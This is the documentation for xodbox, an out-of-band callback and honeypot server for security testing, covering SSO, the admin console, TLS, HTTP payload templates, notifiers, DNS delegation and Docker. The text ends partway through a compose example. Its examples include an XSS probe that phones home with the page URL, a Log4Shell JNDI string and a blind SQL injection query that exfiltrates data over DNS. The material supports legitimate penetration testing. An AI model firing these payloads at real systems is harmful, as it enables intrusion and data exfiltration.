This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

Guides

Setup and configuration guides for xodbox

Step-by-step guides for configuring xodbox features.

1 - OIDC / SSO

Configure single sign-on for the admin console via OpenID Connect

The admin console supports single sign-on via any OpenID Connect provider (Google, Okta, Keycloak, Azure AD, Authentik, Dex, etc.). SSO runs alongside built-in username/password login — a local admin can always sign in even when the IdP is down or misconfigured.

Prerequisites

  • A working xodbox instance with the admin console enabled (admin_listener or ui_path configured).
  • An OIDC provider with a client application registered for xodbox.

Register xodbox with your identity provider

Create an application / client in your IdP with these settings:

SettingValue
Application typeWeb
Grant typeAuthorization Code
PKCES256 (always used; required for public clients)
Redirect URI<admin_base>/api/auth/oidc/callback (e.g. https://oob.example.com/admin/api/auth/oidc/callback)
Scopesopenid profile email (minimum)

Note the Issuer URL and Client ID — those are the two required values. A Client Secret is optional when the provider supports public clients with PKCE.

Quick setup via the web UI

The admin console’s Config page offers a one-click Enable OIDC / SSO button on any HTTPX handler entry. Clicking it adds all the SSO fields with sensible defaults — just fill in your Issuer URL and Client ID from your identity provider and save.

Minimal configuration (YAML)

Add the OIDC keys to your HTTPX handler entry in xodbox.yaml:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    oidc_issuer: https://sso.example.com/realms/corp
    oidc_client_id: xodbox

This is enough to enable the SSO button on the login page. Discovery (<issuer>/.well-known/openid-configuration) is fetched lazily on the first login attempt, so xodbox starts even if the IdP is temporarily unreachable.

Full configuration reference

KeyDefaultDescription
oidc_issuerProvider issuer URL. Required to enable SSO.
oidc_client_idOAuth2/OIDC client ID. Required to enable SSO.
oidc_client_secret(empty)Client secret. Omit for public clients — the flow always uses PKCE.
oidc_redirect_urlderivedCallback URL. When empty it is derived from the request’s scheme, host, and admin mount path (honoring X-Forwarded-Proto). Set it explicitly when behind a reverse proxy.
oidc_scopesopenid,profile,emailComma or space-separated scopes. openid is always included.
oidc_default_roleuserRole assigned to provisioned users: user or admin.
oidc_groups_claimgroupsID-token claim inspected for group membership. May be a JSON array, space-separated string, or comma-separated string.
oidc_admin_group(empty)When set, users whose groups claim contains this value get the admin role; everyone else gets oidc_default_role.
oidc_button_labelSign in with SSOText shown on the login page’s SSO button.

How the login flow works

  1. The user clicks Sign in with SSO on the login page.
  2. The browser hits GET /api/auth/oidc/login, which generates a state, nonce, and PKCE code verifier, stashes them in short-lived cookies, and redirects to the identity provider’s authorization endpoint.
  3. After the user authenticates, the provider redirects back to GET /api/auth/oidc/callback.
  4. xodbox validates state, exchanges the authorization code (with the PKCE verifier), and verifies the ID token’s signature and nonce.
  5. A local account is provisioned (or updated) from the token’s claims and a standard session cookie is issued — identical to the one the password flow creates. All downstream middleware (CSRF, roles, API keys) works the same regardless of login method.

User provisioning

Accounts are created just-in-time on first OIDC login. Key behaviours:

  • The account is keyed by iss#sub (issuer + subject), never by email, so a colliding email address cannot take over an existing local account.
  • OIDC-provisioned accounts have no password and can never be used for password login.
  • The display name is derived from preferred_username, email, or sub (first non-empty wins). If the chosen username is already taken, a numeric suffix is appended.
  • On every login the user’s role is re-synced from the current token claims, so IdP group changes take effect immediately.

Role mapping

Without oidc_admin_group, every OIDC user gets the oidc_default_role (default user). Set oidc_admin_group to a group value present in the oidc_groups_claim to promote matching users to admin:

oidc_groups_claim: groups        # claim name in the ID token
oidc_admin_group: xodbox-admins  # value that grants admin
oidc_default_role: user          # everyone else

The groups claim can be a JSON array (["a","b"]), a space-separated string ("a b"), or a comma-separated string ("a,b").

Reverse proxy considerations

When xodbox sits behind a reverse proxy:

  • Set oidc_redirect_url explicitly to the externally-reachable callback URL. The auto-derived URL uses the request’s Host and X-Forwarded-Proto headers, which may not be correct in all proxy configurations.
  • Ensure the proxy forwards X-Forwarded-Proto so xodbox can distinguish HTTP from HTTPS when building the redirect.

Provider-specific examples

Keycloak

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    public_url: https://oob.example.com
    oidc_issuer: https://sso.example.com/realms/corp
    oidc_client_id: xodbox
    oidc_client_secret: "change-me"
    oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
    oidc_admin_group: xodbox-admins

In Keycloak, create a client with:

  • Client type: OpenID Connect
  • Client authentication: On (confidential) or Off (public + PKCE)
  • Valid redirect URIs: https://oob.example.com/admin/api/auth/oidc/callback
  • Add a groups mapper (Client scopes → dedicated scope → Add mapper → Group Membership) so the groups claim appears in the ID token.

Google Workspace

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    oidc_issuer: https://accounts.google.com
    oidc_client_id: "123456789.apps.googleusercontent.com"
    oidc_client_secret: "GOCSPX-..."
    oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
    oidc_default_role: user

Google does not expose a groups claim in the ID token, so group-based admin mapping is not available. Grant the admin role from the Users page after the user’s first login, or set oidc_default_role: admin if every Google user should be an admin.

Okta

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    oidc_issuer: https://dev-123456.okta.com
    oidc_client_id: 0oa1bcdef
    oidc_client_secret: "..."
    oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
    oidc_groups_claim: groups
    oidc_admin_group: xodbox-admins

In Okta, add a Groups claim to the ID token (Security → API → Authorization Server → Claims → Add Claim with Include in: ID Token, Value type: Groups, Filter: Matches regex .*).

Troubleshooting

SSO button does not appear: both oidc_issuer and oidc_client_id must be set. Check the server logs at start-up for an OIDC summary line confirming SSO is enabled.

“sso_error” on callback: the login page shows the error from the query parameter. Common causes: mismatched redirect URI, expired state cookie (the user took too long), or the IdP returned an error. Check server logs for the detailed error.

User gets user role instead of admin: verify that the ID token actually contains the groups claim. Use your IdP’s token preview or decode the JWT to confirm. The claim name must match oidc_groups_claim and the value must match oidc_admin_group exactly.

IdP unreachable at start-up: this is fine — discovery is lazy. The first login attempt will fail with a clear error if the IdP is still unreachable at that point.

2 - Admin Console Setup

Bootstrap users, configure the admin web UI, and manage API keys and sinks

The admin console is an embedded React web UI and JSON API for managing payloads, browsing captured interactions, creating sinks, and managing users and API keys. It ships inside the xodbox binary — no separate install needed.

Bootstrap the first user

There is no default account. Create an admin user before starting the server:

xodbox user add alice --admin

This prints a generated 24-character password once — store it immediately. To choose your own password:

xodbox user add alice --admin --password 'your-strong-password'

Passwords must be at least 12 characters.

Choose a serving strategy

The admin console can be served two ways:

Bind the admin console to a separate address, fully isolated from the attacker-facing port:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091

The admin UI is served only on 127.0.0.1:9091. The main listener on port 80 serves only honeypot content. This is the safest option — the admin surface is not reachable from the attacker-facing port at all.

Option 2: Same listener, sub-path

Mount the admin UI under a path prefix on the main listener:

handlers:
  - handler: HTTPX
    listener: :80
    ui_path: /admin

The admin UI is served at http://your-host/admin. Use ui_allow_cidrs to restrict access by source IP (see below).

Restrict access by source IP

The ui_allow_cidrs config restricts admin UI access to specific source IPs, checked against the real TCP peer IP (never X-Forwarded-For):

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    ui_allow_cidrs: "127.0.0.1/32,10.0.0.0/8"

Denied requests receive a 404 (indistinguishable from a non-existent path). Empty or omitted means no restriction — authentication is still required.

Set the public URL

When the admin console runs on an isolated listener (different from the honeypot), sink “Copy HTTP link” needs to know the honeypot’s external address:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    public_url: https://oob.example.com

Without public_url, the link falls back to the admin UI’s own origin, which is only correct when the UI is served on the honeypot listener.

Authentication

Browser sessions

  • Cookie-based with server-side session tokens (hashed at rest).
  • HttpOnly, SameSite=Strict, Secure under TLS.
  • State-changing requests require a CSRF token: the X-CSRF-Token header must echo the xodbox_csrf cookie.
  • Login is rate-limited: 10 attempts per IP per minute (HTTP 429 when exceeded).

API keys

API keys authenticate non-browser clients (scripts, CI, integrations). They use the prefix xdbx_ followed by 64 hex characters.

Create a key from the admin UI (Account → API Keys) or via the API:

curl -X POST https://admin:9091/api/apikeys \
  -H "Authorization: Bearer xdbx_existing_key" \
  -H "Content-Type: application/json" \
  -d '{"name": "ci-bot"}'

The full key is returned exactly once in the response — only the SHA-256 hash is stored. Keys can optionally have an expiry (expires_at).

Use a key by sending it as a Bearer token:

curl https://admin:9091/api/interactions \
  -H "Authorization: Bearer xdbx_your_key_here"

API key requests skip CSRF checks.

User management

CLI

xodbox user add bob                  # create user (role: user), prints generated password
xodbox user add carol --admin        # create admin
xodbox user add dave --password 'p'  # create user with a specific password
xodbox user list                     # list all users (ID, username, role)
xodbox user passwd bob               # reset password (revokes active sessions)
xodbox user rm bob                   # delete user + their keys and sessions

API (admin only)

MethodPathDescription
GET/api/usersList all users
POST/api/usersCreate a user ({"username": "...", "password": "...", "role": "admin|user"})
DELETE/api/users/{id}Delete a user (cannot delete self or last admin)
POST/api/users/{id}/passwordReset another user’s password

Self-service

Any authenticated user can change their own password:

POST /api/account/password
{"current": "...", "new": "..."}

Sinks

A sink is a named slug you embed in payloads to correlate interactions. Creating a sink does not change what the honeypot captures — it labels and groups hits so you can review them in one place.

An interaction belongs to a sink when the slug appears in the request_target (HTTP path, DNS qname) or the raw request headers. So /<slug>, <slug>.your.domain, and ?x=<slug> all correlate.

CLI

SLUG=$(xodbox sink add --description "prod SSRF beacon")  # random slug (stdout is clean for scripting)
xodbox sink add my-label --description "a named one"       # explicit slug
xodbox sink list                                           # slug, hit count, description
xodbox sink rm my-label                                    # delete sink (interactions kept)

Slugs must be 6-64 characters of [a-zA-Z0-9_-]. Random slugs are ~10 characters of lowercase base32.

API

MethodPathDescription
GET/api/sinksList all sinks with event counts
POST/api/sinksCreate ({"slug": "...", "description": "..."})
GET/api/sinks/{slug}Sink detail + paginated events (?limit=&offset=)
PUT/api/sinks/{slug}Update description
DELETE/api/sinks/{slug}Delete sink (interactions kept)

Login notifications

Enable event emission on every successful admin login:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    notify_logins: "true"

Login events appear in the Events log and fire notifiers whose filter matches the pattern HTTPX Login <username> from <ip>. Failed login attempts are not emitted.

Real-time event streaming

The admin UI updates live via Server-Sent Events. The same stream is available programmatically:

curl -N https://admin:9091/api/stream \
  -H "Authorization: Bearer xdbx_your_key" \
  -H "Accept: text/event-stream"

Filter the stream with query parameters: handler, remote, target, sink.

Example: full setup

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    ui_allow_cidrs: "127.0.0.1/32,10.0.0.0/8"
    public_url: https://oob.example.com
    notify_logins: "true"
# Create the first admin
xodbox user add operator --admin

# Start the server
xodbox serve

# Create a sink for an engagement
SLUG=$(xodbox sink add --description "Acme Corp SSRF test")
echo "Embed in payloads: https://oob.example.com/$SLUG"

3 - TLS / ACME Setup

Automatic HTTPS certificates via Let’s Encrypt for the HTTPX handler

The HTTPX handler can automatically provision and renew TLS certificates via Let’s Encrypt using certmagic. Two challenge methods are supported: DNS-01 (recommended — works behind firewalls and supports wildcards) and HTTP-01 / TLS-ALPN-01 (requires ports 80 and 443 to be reachable from the internet).

Prerequisites

  • A domain (or subdomain) whose DNS you control.
  • For DNS-01: API credentials for a supported DNS provider (Namecheap or Route53).
  • For HTTP-01: ports 80 and 443 open and reachable from the public internet.

Quick start (DNS-01 with Namecheap)

handlers:
  - handler: HTTPX
    listener: :80
    tls_names: "*.oob.example.com,oob.example.com"
    acme_email: you@example.com
    acme_accept: "true"
    acme_url: https://acme-staging-v02.api.letsencrypt.org/directory
    dns_provider: namecheap
    dns_provider_api_user: your-namecheap-user
    dns_provider_api_key: your-namecheap-api-key

Start with the staging ACME URL to avoid rate limits while testing. Once certificates provision correctly, switch to production (see below).

Configuration reference

KeyRequiredDefaultNotes
tls_namesyesComma-separated hostnames. Setting any value enables HTTPS. Wildcards (e.g. *.example.com) require DNS-01.
acme_emailnoContact address for the ACME account. Let’s Encrypt sends expiry warnings here.
acme_acceptyesfalseMust be the literal string "true" to accept the CA’s terms of service. Other values ("yes", "1") are treated as false.
acme_urlnoLE productionACME directory URL. Use https://acme-staging-v02.api.letsencrypt.org/directory for testing.
dns_providernonamecheap or route53. When set, DNS-01 is used exclusively (HTTP-01 and TLS-ALPN-01 are disabled).
dns_provider_api_usernoNamecheap API username (namecheap only).
dns_provider_api_keynoNamecheap API key (namecheap only).

Challenge methods

When dns_provider is set, xodbox creates TXT records via the provider’s API to prove domain ownership. HTTP-01 and TLS-ALPN-01 are disabled. A hardcoded 30-second propagation delay gives DNS time to converge.

DNS-01 is the only option that supports wildcard certificates and works when ports 80/443 are behind a firewall or NAT.

HTTP-01 / TLS-ALPN-01 (fallback)

When dns_provider is not set, certmagic uses its default challenge methods. This requires:

  • Port 80 reachable from the internet (HTTP-01 challenge).
  • Port 443 reachable from the internet (TLS-ALPN-01 and serving).

Note: in HTTPS mode, xodbox always binds ports 80 and 443 directly (via certmagic), regardless of the listener config value.

DNS provider setup

Namecheap

  1. Enable API access in your Namecheap account (Profile → Tools → API Access).
  2. Whitelist your xodbox server’s IP.
  3. Set dns_provider_api_user and dns_provider_api_key in the config.
dns_provider: namecheap
dns_provider_api_user: your-username
dns_provider_api_key: your-api-key

Route53

The Route53 provider uses the standard AWS SDK credential chain — no xodbox-specific config keys are needed beyond dns_provider: route53. Provide credentials via one of:

  • Environment variables: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION
  • Shared credentials file: ~/.aws/credentials (with optional AWS_PROFILE)
  • IAM instance profile / role: when running on EC2, ECS, or similar AWS infrastructure
  • Web identity token: for EKS / Kubernetes workloads

The IAM policy must allow route53:ListHostedZones, route53:ChangeResourceRecordSets, and route53:GetChange on the relevant hosted zone.

dns_provider: route53

Staging to production workflow

  1. Start with staging. Set acme_url to the Let’s Encrypt staging directory. Staging has generous rate limits and issues untrusted certificates — browsers will warn, but you can verify the flow works.

  2. Verify. Start xodbox and confirm certificates provision (check the logs for certmagic messages). Test with curl -k or a browser that accepts untrusted certs.

  3. Switch to production. Remove or clear acme_url (the default is Let’s Encrypt production) or set it explicitly:

    acme_url: https://acme-v02.api.letsencrypt.org/directory
    
  4. Restart xodbox. Production certificates will be provisioned and trusted by browsers.

Example configurations

Wildcard certificate with Namecheap

handlers:
  - handler: HTTPX
    listener: :80
    tls_names: "*.oob.example.com,oob.example.com"
    acme_email: ops@example.com
    acme_accept: "true"
    dns_provider: namecheap
    dns_provider_api_user: ncuser
    dns_provider_api_key: nckey123
    admin_listener: 127.0.0.1:9091

Single domain with Route53

handlers:
  - handler: HTTPX
    listener: :80
    tls_names: oob.example.com
    acme_email: ops@example.com
    acme_accept: "true"
    dns_provider: route53

HTTP-01 (no DNS provider)

handlers:
  - handler: HTTPX
    listener: :80
    tls_names: oob.example.com
    acme_email: ops@example.com
    acme_accept: "true"

Requires ports 80 and 443 open to the internet. Does not support wildcard certificates.

Troubleshooting

“acme_accept must be true”: The value must be the exact string "true". Quoting matters in YAML — acme_accept: true (boolean) works, but acme_accept: yes does not.

Rate limited by Let’s Encrypt: You hit the production rate limit. Switch to the staging URL, fix your config, then retry production after the rate limit window (usually 1 hour for failed validations, 1 week for duplicate certificates).

DNS-01 challenge fails: Verify your API credentials, check that the domain’s authoritative nameservers are correct, and allow at least 30 seconds for DNS propagation.

Port 80/443 already in use: In HTTPS mode, certmagic binds these ports directly. Stop any other service on those ports before starting xodbox.

Certificates not renewing: certmagic handles renewal automatically (well before expiry). If renewal fails, check the logs for ACME errors — usually a DNS or network issue.

4 - HTTP Payloads

Create, configure, and hot-reload custom HTTP response payloads

The HTTPX handler serves user-defined payloads — configurable HTTP responses keyed by URL pattern. Payloads use Go templates for dynamic headers, bodies, and status codes, letting you craft responses that test how an application consumes remote data.

How payloads work

Payloads form a processing chain, not a simple route table. On each request:

  1. All payloads are evaluated in order of weight (ascending), then by pattern.
  2. Every payload whose pattern regex matches r.URL.Path runs — it can set headers, write a body, or set the status code.
  3. If a payload has is_final: true, processing stops. Otherwise, the next matching payload runs.

This means multiple non-final payloads can contribute to a single response. For example, the built-in Default Header payload (weight -1000) adds a Server header to every response, then processing continues to the content payload.

Payload file format

Payloads are defined as Markdown files with YAML frontmatter. The body below the closing --- is documentation only — it is not used at runtime.

---
title: My Payload
description: Returns a custom JSON response
weight: 100
pattern: ^/api/config
is_final: true
data:
  status_code: "200"
  headers:
    content-type: application/json
  body: |
    {"server": "{{.Request.Host}}", "ip": "{{index .Request.RemoteAddr 0}}"}
---

This payload returns a fake JSON config to test how the target parses
remote configuration files.

Frontmatter fields

FieldRequiredDefaultDescription
titleyesUnique name for the payload.
descriptionnoHuman-readable description.
weightno0Evaluation order (lower = earlier). Use negative values to run before defaults.
patternyesGo regular expression matched against the URL path.
is_finalnofalseWhen true, stops the payload chain after this payload.
internal_functionnoInvokes a built-in Go function instead of the body template (inspect or build).
data.status_codenoGo template for the HTTP status code.
data.headersnoMap of header name to value. Both names and values are Go templates.
data.bodynoGo template for the response body.

Template context

All template fields (headers, body, status code) are Go templates with Sprig functions available (minus env and expandenv for security).

VariableTypeDescription
.Versionstringxodbox version
.ServerNamestringConfigured server name
.CallBackURLstringURL that calls back to xodbox with ?&xdbx
.CallBackImageURLstringSame but with ?&xdbxImage
.Extramap[string]stringTemplate data plus GET_<param> entries
.Payloads[]PayloadAll loaded payloads
.Request.RemoteAddr[]stringClient IPs (including X-Forwarded-For, X-Real-IP)
.Request.HoststringRequest host
.Request.PathstringURL path
.Request.UserAgentstringUser-Agent header
.Request.Headersmap[string][]stringAll request headers
.Request.GetParamsurl.ValuesQuery string parameters
.Request.PostParamsurl.ValuesPOST form parameters
.Request.Body[]byteRaw request body
.Request.FullRequest[]byteFull raw HTTP request

Content-type and escaping

When a payload sets Content-Type: text/html, the body is rendered with Go’s html/template (auto-escapes HTML entities). All other content types use text/template (no escaping), so template output is rendered verbatim.

Loading payloads

Embedded seeds

xodbox ships with built-in payloads compiled into the binary. These are loaded on first startup and include:

  • Default Header (weight -1000): adds a Server header to every response.
  • Robots (weight -900): serves robots.txt.
  • Redirect (weight -900): HTTP redirects via /redir?l=URL&s=301.
  • Inspect (weight -500): reflects requests back in multiple formats (.txt, .html, .json, .xml, .js, .png, .gif, .jpg).
  • MDaaS Build (weight -500): cross-compiles binaries on the fly.
  • Default Page (weight 9999): catch-all HTML page.

Seeds are additive — they are inserted on first run but never overwrite existing payloads with the same name.

Payload directory (hot-reload)

Set payload_dir in the HTTPX handler config to load .md payload files from a directory:

handlers:
  - handler: HTTPX
    listener: :80
    payload_dir: /opt/xodbox/payloads

xodbox watches this directory with fsnotify:

  • New or modified .md files are upserted (inserted or updated by name) with a 1-second debounce.
  • Subdirectories are also watched.
  • Files ending in ~ and files named _index.md are ignored.
  • Changes take effect on the next HTTP request after the upsert.

Admin UI and API

Payloads can also be managed through the admin web UI (Payloads page) or the JSON API:

MethodPathAuthDescription
GET/api/payloadsany userList all payloads
GET/api/payloads/{id}any userGet one payload
POST/api/payloadsadminCreate a payload
PUT/api/payloads/{id}adminUpdate a payload
DELETE/api/payloads/{id}adminDelete a payload

CLI

xodbox payload dump   # dump all payloads as YAML

Examples

XSS probe

---
title: XSS Probe
description: JavaScript that phones home on execution
weight: 100
pattern: ^/xss
is_final: true
data:
  headers:
    content-type: application/javascript
    access-control-allow-origin: "*"
  body: |
    fetch("{{.CallBackURL}}&context=xss&origin="+document.location.href)
---

Redirect with custom status

The built-in redirect payload (/redir) supports dynamic status codes and locations via query parameters:

/redir?l=https://evil.com&s=302
  • l — redirect location (defaults to a rickroll)
  • s — HTTP status code (defaults to 301)

Request inspector

The built-in inspect payload reflects the request back at the requested path with a format suffix:

/i/anything.json   → JSON representation of the request
/i/anything.html   → HTML view
/i/anything.txt    → plain text
/i/anything.xml    → XML
/i/anything.js     → JavaScript (document.write)
/i/anything.png    → 1x1 tracking pixel

Dynamic header names

Header keys are also templates, enabling dynamic headers:

data:
  headers:
    "x-{{index .Request.GetParams \"h\" 0}}": "{{index .Request.GetParams \"v\" 0}}"

A request to /?h=custom&v=value produces X-custom: value.

Built-in weight conventions

WeightPurpose
-1000Global headers (applied to every response)
-900Utility routes (robots.txt, redirects)
-500Built-in tools (inspect, build)
0Default for user payloads
9999Catch-all fallback page

Place your payloads between -499 and 9998 to run after built-in utilities but before the catch-all. Use negative weights to add global headers or middleware-like behavior.

5 - Notifier Integration

Set up Slack, Discord, and webhook notifications for captured interactions

Notifiers deliver alerts when xodbox captures an interaction. Every handler (HTTP, DNS, SMB, SSH, FTP, SMTP, TCP) emits events; notifiers filter them and forward matches to external services.

Four notifiers ship built-in: app_log (structured log, enabled by default), slack, discord, and webhook (generic HTTP POST).

How filtering works

Each notifier has an optional filter key — a Go regular expression matched against the event’s canonical filter string. The filter string has the form:

HANDLER ACTION DETAIL from IP[,IP...]

Examples:

EventFilter string
HTTP GET to /probeHTTPX GET /probe from 203.0.113.9
DNS A query for c2.evil.com.DNS A c2.evil.com. from 10.0.0.5
SMB auth captureSMB Auth CORP\alice from 10.0.0.5
SSH password attemptSSH PasswordAuth root from 10.0.0.5
Admin login (with notify_logins)HTTPX Login alice from 10.0.0.5

The default filter is .* (match everything). Filters are compiled at startup — an invalid regex prevents the notifier from loading.

Common filter patterns

GoalFilter
Only HTTP hits under /x/^HTTPX (GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /x/
Captured SMB hashes^SMB Auth
DNS lookups for a domain^DNS (A|AAAA) .*\.evil\.com
SSH login attempts as root^SSH \w+ root
Admin console logins^HTTPX Login
Events from a specific IPfrom .*10\.0\.0\.5
Everything (default).*

Slack

Setup

  1. Create a Slack incoming webhook in your workspace.
  2. Copy the webhook URL (starts with https://hooks.slack.com/services/...).
  3. Add to xodbox.yaml:
notifiers:
  - notifier: slack
    url: https://hooks.slack.com/services/T00/B00/xxxx
    channel: "#security-alerts"
    author: xodbox
    author_image: ":skull:"

Configuration

KeyRequiredDefaultNotes
notifieryesMust be slack.
urlyesSlack incoming webhook URL.
channelnoChannel name or user ID to post to.
authornoUsername displayed in Slack.
author_imagenoSlack emoji code (e.g. :pirate:) for the avatar.
filterno.*Go regexp against the filter string.

Message format

Slack messages include the event details, the raw request data in a code block, and (for HTTP events) a Replay: code block with a reproducible curl command.

Discord

Setup

  1. In your Discord server, go to Server Settings → Integrations → Webhooks → New Webhook.
  2. Select the target channel and copy the webhook URL.
  3. Add to xodbox.yaml:
notifiers:
  - notifier: discord
    url: https://discord.com/api/webhooks/1234567890/abcdef...
    author: xodbox
    author_image: https://example.com/avatar.png

Configuration

KeyRequiredDefaultNotes
notifieryesMust be discord.
urlyesDiscord webhook URL.
authornoUsername displayed in Discord.
author_imagenoFull image URL for the avatar (not an emoji code).
filterno.*Go regexp against the filter string.

Discord has no channel key — the target channel is determined by the webhook URL itself.

Message format

Same as Slack: event details, raw data code block, and optional curl replay block.

Webhook (generic)

The webhook notifier POSTs a JSON payload to any HTTP endpoint. Use it to integrate with SIEMs, n8n, Tines, custom automation, or any service that accepts webhooks.

Setup

notifiers:
  - notifier: webhook
    url: https://your-service.example.com/hooks/xodbox
    filter: "^HTTPX"

Configuration

KeyRequiredDefaultNotes
notifieryesMust be webhook.
urlyesAny HTTP endpoint. Posted with Content-Type: application/json.
filterno.*Go regexp against the filter string.

Payload format

{
  "RemoteAddr": "203.0.113.5",
  "RemotePort": 54321,
  "UserAgent": "curl/8.0",
  "Data": "DELETE /probe HTTP/1.1\r\nHost: ...",
  "Details": "HTTPX: DELETE http://.../probe from 203.0.113.5:54321",
  "Curl": "curl -X DELETE ..."
}

The Curl field is only present for HTTP events; it is omitted for DNS, SMB, SSH, and other handlers.

App log (default)

The app_log notifier writes events to the structured application log. It is enabled by default in the embedded config template.

notifiers:
  - notifier: app_log
    filter: ".*"

Output includes a curl attribute for HTTP events.

Multiple notifiers

You can configure multiple notifiers — including multiple instances of the same type with different filters:

notifiers:
  - notifier: app_log

  - notifier: slack
    url: https://hooks.slack.com/services/T00/B00/xxxx
    channel: "#all-interactions"

  - notifier: slack
    url: https://hooks.slack.com/services/T00/B00/yyyy
    channel: "#smb-hashes"
    filter: "^SMB Auth"

  - notifier: webhook
    url: https://siem.internal/api/events
    filter: "^(HTTPX|DNS)"

Failure handling

  • HTTP 4xx/5xx from the target: logged as an error but does not block other notifiers. A flaky webhook will not cause event loss.
  • Connection/transport failures (DNS resolution, refused, timeout): the error is logged and propagated. Events are still delivered to other notifiers.
  • Notifier failures never prevent event recording in the database — the interaction is always persisted regardless of notifier outcomes.

6 - DNS Delegation

Set up the DNS handler and delegate a subdomain for out-of-band detection

The DNS handler listens for UDP queries and responds to every request with a configurable A record. Every query is logged as an interaction event and delivered to notifiers. This makes it ideal for detecting out-of-band DNS lookups triggered by SSRF, XXE, log4shell, and similar vulnerabilities.

How it works

The handler responds to all queries for all domains — there is no zone configuration. Every query (regardless of type — A, AAAA, MX, etc.) receives the same A record response with a TTL of 0 (not cacheable).

To make this useful, you delegate a subdomain to xodbox so that DNS resolution for *.oob.yourdomain.com reaches your server.

Prerequisites

  • A domain whose DNS you control (via your registrar or DNS provider).
  • A server with a static public IP that can bind port 53/UDP.
  • CAP_NET_BIND_SERVICE capability (or root) to bind port 53.

Configuration

handlers:
  - handler: DNS
    listener: :53
    default_ip: 203.0.113.10
KeyRequiredDefaultNotes
handleryesMust be DNS.
listeneryesUDP bind address, e.g. :53 or 0.0.0.0:5353. Port 53 requires CAP_NET_BIND_SERVICE.
default_ipyesIPv4 address returned as the A record for every query. Invalid values produce empty responses.

Setting up DNS delegation

Step 1: Create glue records

At your DNS registrar or provider, create an A record pointing to your xodbox server’s public IP. This becomes the “glue” that tells resolvers where to find your nameserver:

ns-oob.example.com.  A  203.0.113.10

Step 2: Delegate the subdomain

Create an NS record that delegates a subdomain to the host you just created:

oob.example.com.  NS  ns-oob.example.com.

This tells the DNS hierarchy that all queries for *.oob.example.com should be sent to ns-oob.example.com (your xodbox server).

Step 3: Configure and start xodbox

Set default_ip to the IP you want every query to resolve to — typically your xodbox server’s own public IP:

handlers:
  - handler: DNS
    listener: :53
    default_ip: 203.0.113.10

Step 4: Verify

From another machine, query a random subdomain:

dig test123.oob.example.com @203.0.113.10

You should see an A record pointing to 203.0.113.10 and an interaction logged in xodbox.

To verify delegation through the public DNS hierarchy (not direct):

dig test456.oob.example.com

If delegation is correct, this resolves through the public DNS hierarchy to your xodbox server.

Using DNS for out-of-band detection

Once delegation is set up, embed a unique subdomain in your payloads. If the target application performs a DNS lookup, xodbox captures it:

SSRF / XXE:

https://unique-token.oob.example.com/

Log4Shell:

${jndi:ldap://unique-token.oob.example.com/a}

Blind SQL injection (DNS exfiltration):

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.oob.example.com\\a'));

Email header injection:

From: test@unique-token.oob.example.com

Use sinks to group and label interactions by engagement or test case.

Combining with the HTTPX handler

A typical deployment runs both DNS and HTTPX handlers together. DNS captures the lookup; HTTPX captures the follow-up HTTP request:

handlers:
  - handler: DNS
    listener: :53
    default_ip: 203.0.113.10

  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091

Set default_ip to the same server so that DNS resolution leads the target to make an HTTP request to xodbox as well.

Notifier filter examples

The DNS handler’s filter string has the format:

DNS <QTYPE> <qname> from <ip>
GoalFilter
All DNS events^DNS
Only A queries^DNS A
Queries for a specific domain^DNS .* .*\.oob\.example\.com
Queries from a specific IP^DNS .* from 10\.0\.0\.5

Operational notes

  • TTL is always 0. Responses are not cacheable. This ensures every lookup reaches xodbox, but may increase query volume from recursive resolvers.
  • All query types return an A record. AAAA, MX, and other query types still get an A response. There is no type-specific response logic.
  • Port 53 requires privileges. On Linux, grant CAP_NET_BIND_SERVICE to the xodbox binary (setcap cap_net_bind_service=+ep ./xodbox) or run as root. In Docker, publish the port with -p 53:53/udp.
  • Stop existing resolvers. systemd-resolved or dnsmasq may already bind port 53. Disable or reconfigure them before starting xodbox’s DNS handler.

7 - Docker Deployment

Run xodbox in Docker with persistent storage and multi-handler configurations

Pre-built Docker images are published to the GitHub Container Registry (GHCR) and signed with cosign (keyless OIDC via GitHub Actions). The images are Alpine-based, run as a non-root xodbox user, and contain a single statically-linked binary.

Quick start

# Generate a starter config
docker run --rm ghcr.io/defektive/xodbox:latest config -e > xodbox.yaml

# Edit xodbox.yaml to taste, then run
docker run -d \
  --name xodbox \
  -v "$PWD:/workspace" \
  --user "$(id -u):$(id -g)" \
  -p 80:80 \
  ghcr.io/defektive/xodbox:latest serve

Image details

PropertyValue
Imageghcr.io/defektive/xodbox
Tags:latest, :v1.2.3 (per release)
Architecturelinux/amd64
Basealpine:3.21
Entrypoint/bin/xodbox
Working directory/workspace
Runs asxodbox (non-root)

Volumes and persistence

The container’s working directory is /workspace. Mount a host directory there to persist:

FilePurpose
xodbox.yamlConfiguration file
xodbox.dbSQLite database (interactions, payloads, users)
payloads/Custom payload files (if payload_dir is set)
static/Static assets (if static_dir is set)

Always pass --user "$(id -u):$(id -g)" so files created in the volume are owned by your host user.

Health check

The HTTPX handler exposes a health endpoint:

GET /api/health → {"status": "ok"}

When using ui_path, the endpoint is at <ui_path>/api/health (e.g. /admin/api/health).

# docker-compose healthcheck
healthcheck:
  test: ["CMD", "wget", "-q", "--spider", "http://localhost/api/health"]
  interval: 30s
  timeout: 5s
  retries: 3

Docker Compose examples

HTTP only

services:
  xodbox:
    image: ghcr.io/defektive/xodbox:latest
    command: serve
    user: "1000:1000"
    ports:
      - "80:80"
    volumes:
      - ./data:/workspace
    restart: unless-stopped
    healthcheck:
